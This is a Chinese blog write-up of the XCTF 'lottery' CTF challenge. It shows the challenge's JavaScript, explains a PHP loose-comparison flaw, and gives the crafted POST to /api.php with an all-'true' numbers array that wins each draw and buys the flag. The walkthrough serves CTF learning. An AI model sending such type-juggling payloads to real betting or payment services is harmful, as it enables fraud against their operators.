

攻防世界-lottery

原创

八哥不爱做题 于 2021-11-19 19:57:07 发布 160 收藏

分类专栏: [攻防世界-wp](#) 文章标签: [git](#) [php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_47571887/article/details/121429806

版权



[攻防世界-wp](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

打开题目, 看了半天, 貌似就是一个猜号的平台

Lottery! Home Buy Account Claim Your Prize

3698527 \$70641

Buy a lottery!

People are winning fabulous prizes every day. You could win up to \$5000000!

Play to win!

Rules

- Each starter has \$20
- Pay \$2, and select 7 numbers. Comparing with the winning number:
- 2 same numbers: you win \$5
- 3 same numbers: you win \$20
- 4 same numbers: you win \$300

CSDN @八哥不爱做题

钱够了就可以购买flag了

Notice: You are offered a huge discount!

All items

Flag

\$99900000

On Sale
buy the flag if you can

Buy

CSDN @八哥不爱做题

下载题目提供的附件，打开时源码，看了看之后，发现唯一有用的一句

```
var numbers_result = "";
var win_numbers_result = "";
for(var i=0; i<7; i++){
    win_numbers_result += '<span class="number-ball number-ball-red">' + win_numbers[i]
    if(numbers[i] == win_numbers[i]){
        numbers_result += '<span class="number-ball number-ball-red">' + numbers[
    } else {
        numbers_result += '<span class="number-ball number-ball-gray">' + number:
    }
}
$('#win').html(win_numbers_result);
```

CSDN @八哥不爱做题

这里看到是个弱比较，我们可以返回通过提交true（非零的数）来进行提交

Go Cancel < >

Target: http://111.200.241.244:6

Request

Raw Params Headers Hex

```
POST /api.php HTTP/1.1
Host: 111.200.241.244:62219
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 58
Origin: http://111.200.241.244:62219
Connection: close
Referer: http://111.200.241.244:62219/buy.php
Cookie: PHPSESSID=6bbb985d634650d8ab6f2d7aafdaf66

{"action":"buy","numbers":[true,true,true,true,true]}
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Fri, 19 Nov 2021 11:41:17 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 112
Connection: close
Content-Type: application/json

{"status":"ok","numbers":[true,true,true,true,true],"win_numbers":"6846897","money":2002384,"prize":200000}
```

CSDN @八哥不爱做题

通过提交true，成功通过，攒够钱后直接购买flag即可